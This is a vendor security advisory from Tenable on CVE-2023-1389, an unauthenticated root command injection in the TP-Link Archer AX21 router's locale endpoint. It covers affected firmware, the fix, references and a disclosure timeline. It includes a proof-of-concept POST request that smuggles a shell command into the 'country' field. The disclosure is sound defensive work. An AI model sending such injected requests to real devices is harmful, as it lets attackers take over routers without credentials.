tenable

Try

Unauthenticated Command Injection in TP-Link Archer AX21 (AX1800)

High

← View More Research Advisories

Synopsis

Researchers at Tenable discovered an unauthenticated command injection in the web management interface of the TP-Link Archer AX21 (AX1800). This issue was also independently discovered by other research teams, as noted in ZDI-23-451.

Update 24 April 2023: As indicated in a blog released by the Zero Day Initiative, when combined with ZDI-23-452 / CVE-2023-27359 this bug can lead to unauthenticated command injection via the WAN interface.

Technical Details

The **country** parameter, of the **write** callback for the **country** form at the **/cgi-bin/luci/;stok=/locale** endpoint is vulnerable to a simple command injection vulnerability.
The country parameter was used in a call to **popen()**, which executes as **root**, but only after first being set in an initial request.

Risk Information

CVE ID: CVE-2023-1389
Tenable Advisory ID: TRA-2023-11
Credit:
Jimi Sebree
Evan Grant
CVSSv3 Base / Temporal Score:
8.8 / 8.2
CVSSv3 Vector:
AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:
Affected Products:
TP-Link Archer AX21 (AX1800) < 1.1.4 Build 20230219
Risk Factor:
High

Proof of Concept:

Sending a request similar to the following twice in a row would run the **$(id>/tmp/out)** command on the second request, creating the **/tmp/out** file containing the output of the **id** command.

```
POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
Host: <target router>
Content-Type: application/x-www-form-urlencoded

operation=write&country=$(id>/tmp/out)
```

Solution

TP-Link has released firmware version 1.1.4 Build 20230219 which fixes the issue by removing the vulnerable callback.

Additional References

https://www.tp-link.com/us/support/download/archer-ax21/v3/#Firmware
https://www.zerodayinitiative.com/advisories/ZDI-23-451/
https://www.zerodayinitiative.com/advisories/ZDI-23-452/
https://www.zerodayinitiative.com/blog/2023/4/21/tp-link-wan-side-vulnerability-cve-2023-1389-added-to-the-mirai-botnet-arsenal

Disclosure Timeline

6 December 2022 - Vulnerability used as part of Tenable's unsuccessful Pwn2Own attempt
13 December 2022 - Case opened to disclose to the ZeroDayIntiative after Pwn2Own
22 January 2023 - Case closed by ZDI with no communication
23 January 2023 - Tenable seeks clarification on case being closed
1 February 2023 - ZDI informs Tenable that the case was closed as an unsuccessful attempt, and that Tenable could resubmit

references to ZDI-23-451 & ZDI-23-452

reopened
7 February 2023 - Tenable reports the issue to TP-Link
8 February 2023 - TP-Link acknowledges
22 February 2023 - Tenable requests an update
24 February 2023 - TP-Link sends a firmware version and asks if it fixes the issue
24 February 2023 - Tenable notes it does not fix the issue
14 March 2023 - TP-Link informs Tenable that version 1.1.4 Build 20230219 has been released and fixes the issue
14 March 2023 - Tenable confirms the fix

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email bughunters@tenable.com

Tenable CIEM

Tenable Vulnerability Management

Tenable Web App Scanning

Tenable Enclave Security

Tenable Attack Surface Management

Tenable Identity Exposure

Tenable OT Security

Tenable Security Center

Tenable Lumin

Tenable Nessus

View all ›

Featured solutions

Active Directory

Building management systems

Cloud security posture management

Compliance

Exposure management

Finance

General manufacturing

Generative AI

Healthcare

Hybrid cloud security

IT/OT

Ransomware

State / Local / Education

View all ›

Customer resources

Resource library

Community & support

Customer education

Tenable Research

Documentation

Nessus resource center

Cybersecurity guide

Why Tenable

Trust

System status

Connections

Blog

Contact us

Careers

Investors

Tenable Ventures

Events

Media

Privacy policy | Do not sell/share my personal information | Legal | 508 compliance